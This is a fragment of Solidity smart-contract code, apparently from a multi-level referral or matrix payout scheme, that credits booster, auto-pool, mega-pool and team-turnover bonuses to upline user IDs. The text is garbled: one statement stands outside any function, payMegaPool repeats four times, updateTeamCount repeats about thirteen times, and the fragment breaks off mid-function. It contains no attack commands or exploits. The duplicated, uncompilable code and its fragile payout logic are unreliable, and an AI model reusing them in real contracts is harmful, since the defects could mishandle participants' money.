uint256 _networkId = networkId;
boosterGain[_referrerId][_planIndex] += _paidAmount * prcnt[0] / 100000000;
uint256 pId = _baseUserId;
uint256 tmp;
uint256 i;
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
boosterGain[pId][i] += _paidAmount * prcnt[1] / 100000000;
}
tmp = 0;
uint tmp2;
for(i=0;i<5;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId);
tmp = _paidAmount * prcnt[i+2] / 100000000;
tmp2 = 0;
if(i > 2) tmp2 = (2**(_planIndex +1)) * levelBuyPrice[0] * prcnt[i+5] / 100000000;
autoPoolGain[pId][_planIndex][i+1] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
return true;
}
pId = mscInterface(mscContractAddress).subUserId(_networkId, _planIndex, false, _baseUserId );
function payIndex1(uint256 _baseUserId,uint256 _planIndex, uint256 _referrerId,uint256 _paidAmount, uint[11] memory prcnt) internal returns(bool)
{
uint256 _networkId = networkId;
boosterGain[_referrerId][_planIndex] += _paidAmount * prcnt[0] / 100000000;
uint256 pId = _baseUserId;
uint256 tmp;
uint256 i;
for(i=0;i<6;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,0,true, pId);
boosterGain[pId][i] += _paidAmount * prcnt[1] / 100000000;
}
tmp = 0;
uint tmp2;
for(i=0;i<5;i++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,_planIndex,false, pId);
tmp = _paidAmount * prcnt[i+2] / 100000000;
tmp2 = 0;
if(i > 2) tmp2 = (2**(_planIndex +1)) * levelBuyPrice[0] * prcnt[i+5] / 100000000;
autoPoolGain[pId][_planIndex][i+1] += tmp - tmp2;
reInvestGain[pId] += tmp2;
}
if(reInvestGain[pId] >= _paidAmount) expiryTime[_baseUserId] = now + reInvestPeriod;
return true;
}
function payMegaPool(uint256 pId, uint256 _levelIndex) internal returns(bool)
{
uint256 _networkId = networkId;
if(_levelIndex == 0)
{
pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, pId );
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
megaPoolGain[pId][_levelIndex] += megaPoolPrice[_levelIndex];
}
uint256 x=_levelIndex + 1;
if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false)
{
megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - megaPoolPrice[_levelIndex+1];
megaPoolReadyToWithdraw[pId][_levelIndex] = true;
for(uint256 k=0;k<=_levelIndex;k++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
}
megaPoolGain[pId][_levelIndex+1] += megaPoolPrice[_levelIndex+1];
if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 );
}
return true;
}
function payMegaPool(uint256 pId, uint256 _levelIndex) internal returns(bool)
{
uint256 _networkId = networkId;
if(_levelIndex == 0)
{
pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, pId );
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
megaPoolGain[pId][_levelIndex] += megaPoolPrice[_levelIndex];
}
uint256 x=_levelIndex + 1;
if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false)
{
megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - megaPoolPrice[_levelIndex+1];
megaPoolReadyToWithdraw[pId][_levelIndex] = true;
for(uint256 k=0;k<=_levelIndex;k++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
}
megaPoolGain[pId][_levelIndex+1] += megaPoolPrice[_levelIndex+1];
if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 );
}
return true;
}
function payMegaPool(uint256 pId, uint256 _levelIndex) internal returns(bool)
{
uint256 _networkId = networkId;
if(_levelIndex == 0)
{
pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, pId );
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
megaPoolGain[pId][_levelIndex] += megaPoolPrice[_levelIndex];
}
uint256 x=_levelIndex + 1;
if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false)
{
megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - megaPoolPrice[_levelIndex+1];
megaPoolReadyToWithdraw[pId][_levelIndex] = true;
for(uint256 k=0;k<=_levelIndex;k++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
}
megaPoolGain[pId][_levelIndex+1] += megaPoolPrice[_levelIndex+1];
if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 );
}
return true;
}
function payMegaPool(uint256 pId, uint256 _levelIndex) internal returns(bool)
{
uint256 _networkId = networkId;
if(_levelIndex == 0)
{
pId = mscInterface(mscContractAddress).subUserId(_networkId, 6, false, pId );
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
megaPoolGain[pId][_levelIndex] += megaPoolPrice[_levelIndex];
}
uint256 x=_levelIndex + 1;
if(megaPoolGain[pId][_levelIndex] == megaPoolPrice[_levelIndex] * (uint(2) ** x ) && megaPoolReadyToWithdraw[pId][_levelIndex] == false)
{
megaPoolGain[pId][_levelIndex] = megaPoolGain[pId][_levelIndex] - megaPoolPrice[_levelIndex+1];
megaPoolReadyToWithdraw[pId][_levelIndex] = true;
for(uint256 k=0;k<=_levelIndex;k++)
{
( ,,pId,,,,,) = mscInterface(mscContractAddress).userInfos(_networkId,6,false, pId);
}
megaPoolGain[pId][_levelIndex+1] += megaPoolPrice[_levelIndex+1];
if(_levelIndex < 9 ) payMegaPool(pId, _levelIndex + 1 );
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function updateTeamCount(uint256 _userId, uint256 _turnOverCountLeg1, uint256 _turnOverCountLeg2, uint256 _turnOverCountLeg3) public onlySigner returns(bool)
{
uint[3] memory lastCount;
uint256 totalCount;
teamTurnOver[_userId][0] = _turnOverCountLeg1;
teamTurnOver[_userId][1] = _turnOverCountLeg2;
teamTurnOver[_userId][2] = _turnOverCountLeg3;
if(_turnOverCountLeg1 > _turnOverCountLeg2 && _turnOverCountLeg1 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg1 / 2;
totalCount += ( _turnOverCountLeg2 + _turnOverCountLeg3);
}
else if(_turnOverCountLeg2 > _turnOverCountLeg1 && _turnOverCountLeg2 > _turnOverCountLeg3)
{
totalCount = _turnOverCountLeg2 / 2;
totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg3);
}
else
{
totalCount = _turnOverCountLeg3 / 2;
